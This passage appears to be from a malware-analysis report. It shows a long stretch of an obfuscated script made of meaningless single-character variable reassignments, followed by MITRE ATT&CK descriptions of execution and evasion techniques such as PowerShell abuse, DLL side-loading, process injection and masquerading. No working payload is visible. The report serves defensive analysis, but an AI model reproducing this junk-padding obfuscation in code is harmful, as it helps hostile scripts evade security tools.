381	blkal = "w";
382	blkal = "n";
383	blkal = "J";
384	blkal = "p";
385	gsyqwhphp = "P";
386	gsyqwhphp = "G";
387	gsyqwhphp = "b";
388	gsyqwhphp = "C";
389	gsyqwhphp = "r";
390	gsyqwhphp = "o";
391	nijllvnl = "E";
392	nijllvnl = "p";
393	nijllvnl = "f";
394	nijllvnl = "y";
395	nijllvnl = "w";
396	nijllvnl = "f";
397	nijllvnl = "X";
398	nijllvnl = "D";
399	nijllvnl = "n";
400	nijllvnl = "h";
401	nijllvnl = "e";
402	nijllvnl = "T";
403	nijllvnl = "B";
404	nijllvnl = "X";
405	nijllvnl = "J";
406	nijllvnl = "f";
407	nijllvnl = "w";
408	nijllvnl = "H";
409	nijllvnl = "i";
410	nijllvnl = "E";
411	nijllvnl = "q";
412	nijllvnl = "I";
413	nijllvnl = "N";
414	nijllvnl = "c";
415	nijllvnl = "e";
416	kvkhnc = "m";
417	kvkhnc = "Q";
418	kvkhnc = "d";
419	kvkhnc = "U";
420	kvkhnc = "i";
421	kvkhnc = "d";
422	kvkhnc = "o";
423	kvkhnc = "G";
424	kvkhnc = "h";
425	kvkhnc = "J";
426	kvkhnc = "x";
427	kvkhnc = "r";
428	kvkhnc = "T";
429	kvkhnc = "x";
430	kvkhnc = "L";
431	kvkhnc = "T";
432	kvkhnc = "z";
433	kvkhnc = "C";
434	kvkhnc = "L";
435	kvkhnc = "A";
436	kvkhnc = "e";
437	kvkhnc = "Y";
438	kvkhnc = "Z";
439	kvkhnc = "I";
440	kvkhnc = "g";
441	kvkhnc = "j";
442	kvkhnc = "a";
443	kvkhnc = "V";
444	kvkhnc = "C";
445	kvkhnc = "h";
446	kvkhnc = "r";
447	kvkhnc = "O";
448	kvkhnc = "W";
449	kvkhnc = "N";
450	kvkhnc = "L";
451	kvkhnc = "j";
452	kvkhnc = "p";
453	kvkhnc = "F";
454	kvkhnc = "O";
455	kvkhnc = "r";
456	kvkhnc = "M";
457	kvkhnc = "N";
458	kvkhnc = "d";
459	ywwnbbwdk = "C";
460	ywwnbbwdk = "X";
461	ywwnbbwdk = "E";
462	ywwnbbwdk = "T";
463	ywwnbbwdk = "T";
464	ywwnbbwdk = "F";
465	ywwnbbwdk = "m";
466	ywwnbbwdk = "O";
467	ywwnbbwdk = "a";
468	ywwnbbwdk = "E";
469	ywwnbbwdk = "x";
470	ywwnbbwdk = "P";
471	ywwnbbwdk = "f";
472	ywwnbbwdk = "T";
473	ywwnbbwdk = "l";
474	ywwnbbwdk = "e";
475	ywwnbbwdk = " ";
476	vylevropu = "M";
477	vylevropu = "w";
478	vylevropu = "T";
479	vylevropu = "K";
480	vylevropu = "m";
481	vylevropu = "c";
482	vylevropu = "M";
483	vylevropu = "A";
484	vylevropu = "o";
485	vylevropu = "h";
486	hrzeg = "S";
487	hrzeg = "W";
488	hrzeg = "j";
489	hrzeg = "M";
490	hrzeg = "d";
491	hrzeg = "h";
492	hrzeg = "i";
493	hrzeg = "q";
494	hrzeg = "z";
495	hrzeg = "z";
496	hrzeg = "R";
497	hrzeg = "k";
498	hrzeg = "V";
499	hrzeg = "l";
500	hrzeg = "Y";
501	hrzeg = "i";
502	hrzeg = "W";
503	hrzeg = "Z";
504	hrzeg = "K";
505	hrzeg = "N";
506	hrzeg = "D";
507	hrzeg = "e";
508	hrzeg = "N";
509	hrzeg = "S";
510	hrzeg = "v";
511	hrzeg = "s";
512	hrzeg = "E";
513	hrzeg = "a";
514	hrzeg = "Q";
515	pshxetuzi = "b";
516	pshxetuzi = "w";
517	pshxetuzi = "O";
518	pshxetuzi = "j";
519	pshxetuzi = "p";
520	pshxetuzi = "U";
521	pshxetuzi = "g";
522	pshxetuzi = "Y";
523	pshxetuzi = "o";
524	pshxetuzi = "u";
525	pshxetuzi = "j";
526	pshxetuzi = "C";
527	pshxetuzi = "\\";
528	puozixmj = "W";
529	puozixmj = "V";
530	puozixmj = "y";
531	puozixmj = "N";
532	puozixmj = "f";
533	puozixmj = "C";
534	puozixmj = "M";
535	puozixmj = "b";
536	puozixmj = "t";
537	puozixmj = "Q";
538	puozixmj = "n";
539	puozixmj = "r";
540	puozixmj = "K";
541	puozixmj = "C";
542	puozixmj = "T";
543	puozixmj = "R";
544	puozixmj = "r";
545	puozixmj = "c";
546	puozixmj = "D";
547	puozixmj = "P";
548	puozixmj = "L";
549	puozixmj = "m";
550	puozixmj = "l";
551	puozixmj = ":";
552	veqxh = "U";
553	veqxh = "z";
554	veqxh = "S";
555	veqxh = "O";
556	veqxh = "o";
557	veqxh = "Z";
558	veqxh = "T";
559	veqxh = "r";
560	veqxh = "f";
561	veqxh = "p";
562	veqxh = "o";
563	veqxh = "i";
564	veqxh = "C";
565	veqxh = "o";
566	veqxh = "N";
567	veqxh = "d";
568	veqxh = "v";
569	efnzcxuo = "k";
570	efnzcxuo = "c";
571	efnzcxuo = "o";
572	efnzcxuo = "Y";
573	efnzcxuo = "N";
574	efnzcxuo = "V";
575	efnzcxuo = "l";
576	efnzcxuo = "u";
577	efnzcxuo = "e";
578	efnzcxuo = "j";
579	efnzcxuo = "f";
580	efnzcxuo = "a";
581	efnzcxuo = "y";
582	efnzcxuo = "K";
583	efnzcxuo = "Z";
584	efnzcxuo = "D";
585	efnzcxuo = "m";
586	efnzcxuo = "m";
587	cyolfffqf = "t";
588	cyolfffqf = "o";
589	cyolfffqf = "l";
590	cyolfffqf = "t";
591	cyolfffqf = "k";
592	cyolfffqf = "i";
593	cyolfffqf = "h";
594	cyolfffqf = "Q";
595	cyolfffqf = "h";
596	cyolfffqf = "g";
597	cyolfffqf = "A";
598	cyolfffqf = "j";
599	cyolfffqf = "q";
600	cyolfffqf = "q";
601	cyolfffqf = "M";
602	cyolfffqf = "Q";
603	cyolfffqf = "K";
604	cyolfffqf = "p";
605	cyolfffqf = "d";
606	cyolfffqf = "O";
607	cyolfffqf = "w";
608	cyolfffqf = "E";
609	cyolfffqf = "X";
610	cyolfffqf = "B";
611	cyolfffqf = "M";
612	cyolfffqf = "N";
613	cyolfffqf = "D";
614	cyolfffqf = "y";
615	cyolfffqf = "e";
616	cyolfffqf = "t";
617	cyolfffqf = "b";
618	cyolfffqf = "O";
619	cyolfffqf = "V";
620	cyolfffqf = "O";
621	cyolfffqf = "c";
622	cyolfffqf = "k";
623	cyolfffqf = "Z";
624	cyolfffqf = "f";
625	cyolfffqf = "Y";
626	cyolfffqf = "x";
627	cyolfffqf = "K";
628	cyolfffqf = ".";
629	gblxcchj = "c";
630	gblxcchj = "a";
631	gblxcchj = "x";
632	gblxcchj = "J";
633	gblxcchj = "T";
634	gblxcchj = "V";
635	gblxcchj = "M";
636	gblxcchj = "I";
637	gblxcchj = "H";
638	gblxcchj = "p";
639	gblxcchj = "u";
640	gblxcchj = "x";
641	gblxcchj = "H";
642	gblxcchj = "I";
643	gblxcchj = "t";
644	gblxcchj = "U";
645	gblxcchj = "U";
646	gblxcchj = "q";
647	gblxcchj = "n";
648	gblxcchj = "e";
649	gblxcchj = "v";
650	gblxcchj = "E";
651	gblxcchj = "k";
652	gblxcchj = "d";
653	gblxcchj = "D";
654	gblxcchj = "R";
655	gblxcchj = "d";
656	gblxcchj = "U";
657	gblxcchj = "Z";
658	gblxcchj = "E";
659	gblxcchj = "n";
660	gblxcchj = "n";
661	gblxcchj = "D";
662	gblxcchj = "Q";
663	gblxcchj = "I";
664	gblxcchj = "a";
665	gblxcchj = "I";
666	gblxcchj = "s";
667	gblxcchj = "r";
668	gblxcchj = "k";
669	gblxcchj = "N";
670	gblxcchj = "v";
671	gblxcchj = "f";
672	xmvnlm = "A";
673	xmvnlm = "R";
674	xmvnlm = "X";
675	xmvnlm = "p";
676	xmvnlm = "b";
677	xmvnlm = "h";
678	xmvnlm = "t";
679	xmvnlm = "y";
680	xmvnlm = "%";
681	adawrie = "X";
682	adawrie = "I";
683	adawrie = "O";
684	adawrie = "b";
685	adawrie = "c";
686	adawrie = "Z";
687	adawrie = "d";
688	adawrie = "q";
689	adawrie = "P";
690	adawrie = "L";
691	adawrie = "I";
692	adawrie = "T";
693	adawrie = "v";
694	adawrie = "a";
695	adawrie = "Q";
696	adawrie = "y";
697	adawrie = "l";
698	adawrie = "w";
699	adawrie = "r";
700	adawrie = "M";
701	adawrie = "h";
702	adawrie = "o";
703	adawrie = "s";
704	adawrie = "I";
705	adawrie = "V";
706	adawrie = "Q";
707	adawrie = "r";
708	adawrie = "h";
709	adawrie = "c";
710	adawrie = "s";
711	adawrie = "P";
712	adawrie = "Q";
713	adawrie = "/";
714	ectunpww = "b";
715	ectunpww = "g";
716	ectunpww = "Z";
717	ectunpww = "O";
718	ectunpww = "d";
719	ectunpww = "l";
720	ectunpww = "g";
721	ectunpww = "r";
722	ectunpww = "I";
723	ectunpww = "A";
724	ectunpww = "W";
725	ectunpww = "l";
726	ectunpww = "f";
727	ectunpww = "p";
728	ectunpww = "F";
729	ectunpww = "r";
730	ectunpww = "L";
731	ectunpww = "v";
732	ectunpww = "W";
733	ectunpww = "h";
734	ectunpww = "G";
735	ectunpww = "e";
736	ectunpww = "n";
737	ectunpww = "w";
738	ectunpww = "P";
739	ectunpww = "t";
740	ectunpww = "X";
741	ectunpww = "F";
742	ectunpww = "l";
743	ectunpww = "v";
744	ectunpww = "R";
745	ectunpww = "G";
746	ectunpww = "m";
747	ectunpww = "g";
748	ectunpww = "A";
749	ectunpww = "w";
750	ectunpww = "T";
751	ectunpww = "c";
752	ectunpww = "M";
753	ectunpww = "d";
754	ectunpww = "d";
755	ectunpww = "K";
756	ectunpww = "v";
757	ectunpww = "c";
758	vguozdr = "k";
759	vguozdr = "g";
760	vguozdr = "K";
761	vguozdr = "P";
762	vguozdr = "E";
763	vguozdr = "A";
764	vguozdr = "K";
765	vguozdr = "E";
766	vguozdr = "m";
767	vguozdr = "K";
768	vguozdr = "T";
769	vguozdr = "z";
770	vguozdr = "I";
771	vguozdr = "U";
772	vguozdr = "p";
773	vguozdr = "L";
774	vguozdr = "z";
775	vguozdr = "q";
776	vguozdr = "a";
777	pnhohalr = "W";
778	pnhohalr = "m";
779	pnhohalr = "O";
780	pnhohalr = "o";
781	pnhohalr = "k";
782	pnhohalr = "Z";
783	pnhohalr = "z";
784	pnhohalr = "b";
785	pnhohalr = "b";
786	pnhohalr = "C";
787	pnhohalr = "L";
788	pnhohalr = "B";
789	pnhohalr = "Q";
790	pnhohalr = "w";
791	pnhohalr = "Z";
792	pnhohalr = "l";
793	pnhohalr = "k";
794	pnhohalr = "E";
795	pnhohalr = "x";
796	pnhohalr = "k";
797	pnhohalr = "F";
798	pnhohalr = "&";
799	zqffqr = "A";
800	zqffqr = "i";
801	zqffqr = "X";
802	zqffqr = "I";
803	zqffqr = "r";
804	zqffqr = "e";
805	zqffqr = "J";
806	zqffqr = "c";
807	zqffqr = "U";
808	zqffqr = "U";
809	zqffqr = "P";
810	zqffqr = "T";
811	zqffqr = "B";
812	zqffqr = "B";
813	zqffqr = "N";
814	zqffqr = "O";
815	ghnrnnxu = "x";
816	ghnrnnxu = "B";
817	ghnrnnxu = "L";
818	ghnrnnxu = "p";
819	ghnrnnxu = "c";
820	ghnrnnxu = "j";
821	ghnrnnxu = "w";
822	ghnrnnxu = "H";
823	ghnrnnxu = "k";
824	ghnrnnxu = "V";
825	ghnrnnxu = "U";
826	ghnrnnxu = "A";
827	ghnrnnxu = "s";
828	ghnrnnxu = "w";
829	ghnrnnxu = "G";
830	ghnrnnxu = "q";
831	ghnrnnxu = "m";
832	ghnrnnxu = "B";
833	ghnrnnxu = "Q";
834	ghnrnnxu = "G";
835	ghnrnnxu = "N";
836	ghnrnnxu = "u";
837	ghnrnnxu = "W";
838	mowmqucyl = "d";
839	mowmqucyl = "c";
840	mowmqucyl = "u";
841	mowmqucyl = "V";
842	mowmqucyl = "p";
843	mowmqucyl = "v";
844	mowmqucyl = "Z";
845	mowmqucyl = "m";
846	mowmqucyl = "s";
847	mowmqucyl = "x";
848	mowmqucyl = "F";
849	mowmqucyl = "r";
850	mowmqucyl = "N";
851	mowmqucyl = "w";
852	mowmqucyl = "n";
853	mowmqucyl = "g";
854	fvhpu = "e";
855	fvhpu = "O";
856	fvhpu = "u";
857	fvhpu = "i";
858	fvhpu = "A";
859	fvhpu = "i";
860	fvhpu = "Z";
861	fvhpu = "Q";
862	fvhpu = "e";
863	fvhpu = "u";
864	fvhpu = "i";
865	fvhpu = "p";
866	fvhpu = "r";
867	fvhpu = "W";
868	fvhpu = "U";
869	fvhpu = "A";
870	fvhpu = "G";
871	fvhpu = "B";
872	fvhpu = "G";
873	fvhpu = "W";
874	fvhpu = "j";
875	fvhpu = "H";
876	fvhpu = "Z";
877	fvhpu = "z";
878	fvhpu = "o";
879	fvhpu = "Q";
880	fvhpu = "c";
881	fvhpu = "q";
882	fvhpu = "V";
883	fvhpu = "a";
884	fvhpu = "h";
885	fvhpu = "E";
886	fvhpu = "v";
887	fvhpu = "r";
888	fvhpu = "b";
889	fvhpu = "H";
890	fvhpu = "r";
891	kqdigbkhp = "I";
892	kqdigbkhp = "I";
893	kqdigbkhp = "u";
894	kqdigbkhp = "E";
895	kqdigbkhp = "m";
896	kqdigbkhp = "r";
897	kqdigbkhp = "Q";
898	kqdigbkhp = "V";
899	kqdigbkhp = "G";
900	kqdigbkhp = "v";
901	kqdigbkhp = "Y";
902	kqdigbkhp = "v";
903	kqdigbkhp = "S";
904	kqdigbkhp = "X";
905	kqdigbkhp = "n";
906	kqdigbkhp = "X";
907	kqdigbkhp = "Z";
908	kqdigbkhp = "f";
909	kqdigbkhp = "U";
910	kqdigbkhp = "S";
911	ntcpffr = "x";
912	ntcpffr = "y";
913	ntcpffr = "h";
914	ntcpffr = "R";
915	ntcpffr = "l";
916	ntcpffr = "a";
917	ntcpffr = "c";
918	ntcpffr = "c";
919	ntcpffr = "B";
920	ntcpffr = "D";
921	ntcpffr = "z";
922	ntcpffr = "e";
923	ntcpffr = "r";
924	ntcpffr = "r";
925	ntcpffr = "f";
926	ntcpffr = "v";
927	ntcpffr = "e";
928	ntcpffr = "c";
929	ntcpffr = "Q";
930	ntcpffr = "a";
931	ntcpffr = "L";
932	ntcpffr = "w";
933	ntcpffr = "Y";
934	ntcpffr = "y";
935	ntcpffr = "t";
936	ntcpffr = "Q";
937	ntcpffr = "k";
938	ntcpffr = "N";
939	ntcpffr = "T";
940	ntcpffr = "k";
941	ntcpffr = "y";
942	ntcpffr = "N";
943	ntcpffr = "h";
944	ntcpffr = "a";
945	ntcpffr = "E";
946	cajqq = "B";
947	cajqq = "T";
948	cajqq = "W";
949	cajqq = "x";
950	cajqq = "a";
951	cajqq = "x";
952	cajqq = "M";
953	cajqq = "b";
954	cajqq = "h";
955	cajqq = "J";
956	cajqq = "N";
957	cajqq = "o";
958	cajqq = "i";
959	cajqq = "B";
960	cajqq = "k";
961	cajqq = "G";
962	cajqq = "x";
963	cajqq = "_";
964	cahgnnr = "c";
965	cahgnnr = "o";
966	cahgnnr = "y";
967	cahgnnr = "W";
968	cahgnnr = "z";
969	cahgnnr = "D";
970	cahgnnr = "t";
971	cahgnnr = "I";
972	cahgnnr = "u";
973	cahgnnr = "W";
974	cahgnnr = "t";
975	cahgnnr = "y";
976	cahgnnr = "n";
977	cahgnnr = "g";
978	cahgnnr = "j";
979	cahgnnr = "o";
980	cahgnnr = "Z";
981	cahgnnr = "K";
982	dpxnwqv = "f";
983	dpxnwqv = "n";
984	dpxnwqv = "X";
985	dpxnwqv = "L";
986	dpxnwqv = "q";
987	dpxnwqv = "f";
988	dpxnwqv = "F";
989	dpxnwqv = "w";
990	dpxnwqv = "Y";
991	dpxnwqv = "f";
992	dpxnwqv = "q";
993	dpxnwqv = "X";
994	dpxnwqv = "D";
995	dpxnwqv = "J";
996	dpxnwqv = "N";
997	pxzdvzxx = "T";
998	pxzdvzxx = "U";
999	pxzdvzxx = "l";
1000	pxzdvzxx = "O";
1001	pxzdvzxx = "X";
1002	pxzdvzxx = "R";
1003	pxzdvzxx = "c";
1004	pxzdvzxx = "M";
1005	pxzdvzxx = "w";
1006	pxzdvzxx = "T";
1007	pxzdvzxx = "R";
1008	pxzdvzxx = "u";
1009	pxzdvzxx = "k";
1010	pxzdvzxx = "F";
1011	pxzdvzxx = "b";
1012	pxzdvzxx = "n";
1013	pxzdvzxx = "a";
1014	pxzdvzxx = "J";
1015	pxzdvzxx = "E";
1016	pxzdvzxx = "u";
1017	pxzdvzxx = "o";
1018	pxzdvzxx = "d";
1019	pxzdvzxx = "B";
1020	pxzdvzxx = "h";
1021	pxzdvzxx = "Z";
1022	pxzdvzxx = "H";
1023	pxzdvzxx = "V";
1024	pxzdvzxx = "n";
1025	pxzdvzxx = "Y";
1026	pxzdvzxx = "i";
1027	pxzdvzxx = "a";
1028	pxzdvzxx = "V";
1029	pxzdvzxx = "L";
1030	pxzdvzxx = "r";
1031	pxzdvzxx = "h";
1032	pxzdvzxx = "y";
1033	pxzdvzxx = "I";
1034	pxzdvzxx = "J";
1035	pxzdvzxx = "c";
1036	pxzdvzxx = "j";
1037	pxzdvzxx = "V";
1038	pxzdvzxx = "x";
1039	pxzdvzxx = "j";
1040	pxzdvzxx = "e";
1041	pxzdvzxx = "1";
1042	ighpjtcgk = "I";
1043	ighpjtcgk = "b";
1044	ighpjtcgk = "W";
1045	ighpjtcgk = "B";
1046	ighpjtcgk = "t";
1047	ighpjtcgk = "X";
1048	ighpjtcgk = "F";
1049	ighpjtcgk = "T";
1050	oizirr = "b";
1051	oizirr = "p";
1052	oizirr = "U";
1053	oizirr = "x";
1054	oizirr = "5";
1055	ajyfs = "-";
1056	ljtyij = "C";
1057	ljtyij = "K";
1058	ljtyij = "h";
1059	ljtyij = "m";
1060	ljtyij = "j";
1061	ljtyij = "p";
1062	ljtyij = "n";
1063	ljtyij = "N";
1064	ljtyij = "Q";
1065	ljtyij = "m";
1066	ljtyij = "b";
1067	ljtyij = "u";
1068	ljtyij = "V";
1069	ljtyij = "e";
1070	ljtyij = "W";
1071	ljtyij = "z";
1072	ljtyij = "Q";
1073	ljtyij = "Z";
1074	ljtyij = "H";
1075	ljtyij = "r";
1076	ljtyij = "w";
1077	ljtyij = "D";
1078	ljtyij = "O";
1079	ljtyij = "t";
1080	ljtyij = "t";
1081	ljtyij = "I";
1082	ljtyij = "U";
1083	ljtyij = "i";
1084	ljtyij = "x";
1085	ljtyij = "M";
1086	ljtyij = "N";
1087	ljtyij = "b";
1088	rejuvk = "n";
1089	rejuvk = "t";
1090	rejuvk = "Q";
1091	rejuvk = "B";
1092	rejuvk = "s";
1093	rejuvk = "G";
1094	rejuvk = "f";
1095	rejuvk = "f";
1096	rejuvk = "z";
1097	rejuvk = "I";
1098	rejuvk = "I";
1099	rejuvk = "H";
1100	rejuvk = "Y";
1101	rejuvk = "s";
1102	rejuvk = "X";
1103	rejuvk = "R";
1104	rejuvk = "W";
1105	rejuvk = "R";
1106	rejuvk = "b";
1107	rejuvk = "d";
1108	rejuvk = "d";
1109	rejuvk = "d";
1110	rejuvk = "L";
1111	rejuvk = "M";
1112	rejuvk = "o";
1113	rejuvk = "e";
1114	rejuvk = "o";
1115	rejuvk = "q";
1116	rejuvk = "n";
1117	rejuvk = "N";
1118	rejuvk = "Y";
1119	rejuvk = "Y";
1120	xcizjaxrf = "g";
1121	xcizjaxrf = "o";
1122	xcizjaxrf = "w";
1123	xcizjaxrf = "B";
1124	xcizjaxrf = "l";
1125	xcizjaxrf = "y";
1126	xcizjaxrf = "K";
1127	xcizjaxrf = "c";
1128	xcizjaxrf = "g";
1129	xcizjaxrf = "z";
1130	xcizjaxrf = "l";
1131	xcizjaxrf = "l";
1132	xcizjaxrf = "m";
1133	xcizjaxrf = "o";
1134	xcizjaxrf = "D";
1135	xcizjaxrf = "E";
1136	xcizjaxrf = "A";
1137	xcizjaxrf = "h";
1138	xcizjaxrf = "m";
1139	xcizjaxrf = "p";
1140	xcizjaxrf = "I";
1141	xcizjaxrf = "X";
1142	xcizjaxrf = "q";
1143	xcizjaxrf = "y";
1144	xcizjaxrf = "y";
1145	xcizjaxrf = "k";
1146	xcizjaxrf = "l";
1147	xcizjaxrf = "o";
1148	xcizjaxrf = "V";
1149	xcizjaxrf = "x";
1150	xcizjaxrf = "a";
1151	xcizjaxrf = "U";
1152	xcizjaxrf = "e";
1153	xcizjaxrf = "j";
1154	xcizjaxrf = "h";
1155	xcizjaxrf = "g";
1156	xcizjaxrf = "c";
1157	xcizjaxrf = "B";
1158	xcizjaxrf = "U";
1159	xcizjaxrf = "x";
1160	xcizjaxrf = "m";
1161	xcizjaxrf = "t";
1162	xcizjaxrf = "W";
1163	xcizjaxrf = "4";
1164	gdkzjovp = "D";
1165	gdkzjovp = "H";
1166	gdkzjovp = "Q";
1167	gdkzjovp = "v";
1168	gdkzjovp = "s";
1169	gdkzjovp = "X";
1170	gdkzjovp = "Q";
1171	gdkzjovp = "d";
1172	gdkzjovp = "W";
1173	gdkzjovp = "r";
1174	gdkzjovp = "b";
1175	gdkzjovp = "a";
1176	gdkzjovp = "C";
1177	gdkzjovp = "J";
1178	gdkzjovp = "U";
1179	gdkzjovp = "P";
1180	gdkzjovp = "D";
1181	gdkzjovp = "h";
1182	gdkzjovp = "x";
1183	gdkzjovp = "l";
1184	gdkzjovp = "q";
1185	gdkzjovp = "p";
1186	gdkzjovp = "E";
1187	gdkzjovp = "C";
1188	gdkzjovp = "M";
1189	gdkzjovp = "q";
1190	gdkzjovp = "K";
1191	gdkzjovp = "G";
1192	gdkzjovp = "d";
1193	gdkzjovp = "o";
1194	gdkzjovp = "V";
1195	gdkzjovp = "L";
1196	gdkzjovp = "X";
1197	gdkzjovp = "k";
1198	gdkzjovp = "v";
1199	gdkzjovp = "F";
1200	gdkzjovp = "v";
1201	gdkzjovp = "G";
1202	gdkzjovp = "c";
1203	gdkzjovp = "U";
1204	gdkzjovp = "a";
1205	gdkzjovp = "7";
1206	wwgcftwm = "d";
1207	wwgcftwm = "u";
1208	wwgcftwm = "A";
1209	wwgcftwm = "f";
1210	wwgcftwm = "Z";
1211	wwgcftwm = "s";
1212	wwgcftwm = "l";
1213	wwgcftwm = "N";
1214	wwgcftwm = "n";
1215	wwgcftwm = "b";
1216	wwgcftwm = "c";
1217	wwgcftwm = "h";
1218	wwgcftwm = "G";
1219	wwgcftwm = "Y";
1220	wwgcftwm = "z";
1221	wwgcftwm = "m";
1222	wwgcftwm = "w";
1223	hmyge = "K";
1224	hmyge = "H";
1225	hmyge = "p";
1226	hmyge = "J";
1227	hmyge = "Y";
1228	hmyge = "z";
1229	hmyge = "h";
1230	hmyge = "f";
1231	hmyge = "H";
1232	hmyge = "f";
1233	hmyge = "x";
1234	hmyge = "V";
1235	hmyge = "K";
1236	hmyge = "a";
1237	hmyge = "U";
1238	hmyge = "O";
1239	hmyge = "h";
1240	hmyge = "n";
1241	hmyge = "A";
1242	hmyge = "l";
1243	hmyge = "c";
1244	hmyge = "q";
1245	hmyge = "Q";
1246	hmyge = "c";
1247	hmyge = "G";
1248	hmyge = "c";
1249	hmyge = "z";
1250	hmyge = "c";
1251	hmyge = "0";
1252	kocwuoj = "C";
1253	kocwuoj = "O";
1254	kocwuoj = "h";
1255	kocwuoj = "H";
1256	kocwuoj = "t";
1257	kocwuoj = "r";
1258	kocwuoj = "Q";
1259	kocwuoj = "a";
1260	kocwuoj = "E";
1261	kocwuoj = "D";
1262	kocwuoj = "N";
1263	kocwuoj = "H";
1264	kocwuoj = "U";
1265	kocwuoj = "L";
1266	kocwuoj = "j";
1267	kocwuoj = "R";
1268	mygujfufs = "m";
1269	mygujfufs = "p";
1270	mygujfufs = "j";
1271	pybah = "B";
1272	pybah = "F";
1273	pybah = "u";
1274	pybah = "Y";
1275	pybah = "c";
1276	pybah = "Y";
1277	pybah = "U";
1278	pgwtgrobd = "l";
1279	pgwtgrobd = "i";
1280	ifyqpwksq = "W";
1281	ifyqpwksq = "F";
1282	ifyqpwksq = "c";
1283	ifyqpwksq = "N";
1284	ifyqpwksq = "d";
1285	ifyqpwksq = "G";
1286	ifyqpwksq = "e";
1287	ifyqpwksq = "W";
1288	ifyqpwksq = "D";
1289	ifyqpwksq = "k";
1290	fettydhn = "T";
1291	fettydhn = "E";
1292	fettydhn = "a";
1293	fettydhn = "H";
1294	fettydhn = "u";
1295	fettydhn = "J";
1296	fettydhn = "j";
1297	fettydhn = "J";
1298	fettydhn = "c";
1299	fettydhn = "q";
1300	fettydhn = "L";
1301	fettydhn = "k";
1302	fettydhn = "n";
1303	fettydhn = "X";
1304	fettydhn = "R";
1305	fettydhn = "A";
1306	fettydhn = "m";
1307	fettydhn = "j";
1308	fettydhn = "r";
1309	fettydhn = "x";
1310	fettydhn = "A";
1311	fettydhn = "y";
1312	fettydhn = "b";
1313	fettydhn = "X";
1314	fettydhn = "l";
1315	fettydhn = "Y";
1316	fettydhn = "Q";
1317	fettydhn = "Z";
1318	fettydhn = "G";
1319	fettydhn = "X";
1320	fettydhn = "l";
1321	fettydhn = "V";
1322	fettydhn = "m";
1323	fettydhn = "F";
1324	fettydhn = "g";
1325	fettydhn = "J";
1326	fettydhn = "Q";
1327	fettydhn = "b";
1328	fettydhn = "I";
1329	xqtvufwi = "F";
1330	xqtvufwi = "M";
1331	xqtvufwi = "n";
1332	xqtvufwi = "C";
1333	xqtvufwi = "n";
1334	xqtvufwi = "S";
1335	xqtvufwi = "q";
1336	xqtvufwi = "D";
1337	xqtvufwi = "x";
1338	xqtvufwi = "D";
1339	xqtvufwi = "q";
1340	xqtvufwi = "u";
1341	xqtvufwi = "n";
1342	xqtvufwi = "E";
1343	xqtvufwi = "y";
1344	xqtvufwi = "X";
1345	xqtvufwi = "h";
1346	xqtvufwi = "T";
1347	xqtvufwi = "a";
1348	xqtvufwi = "g";
1349	xqtvufwi = "z";
1350	xqtvufwi = "X";
1351	xqtvufwi = "Q";
1352	xqtvufwi = "A";
1353	xqtvufwi = "N";
1354	xqtvufwi = "A";
1355	xqtvufwi = "I";
1356	xqtvufwi = "D";
1357	xqtvufwi = "h";
1358	xqtvufwi = "Y";
1359	xqtvufwi = "F";
1360	xqtvufwi = "M";
1361	xqtvufwi = "e";
1362	xqtvufwi = "F";
1363	tygvd ( );	tygvd() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
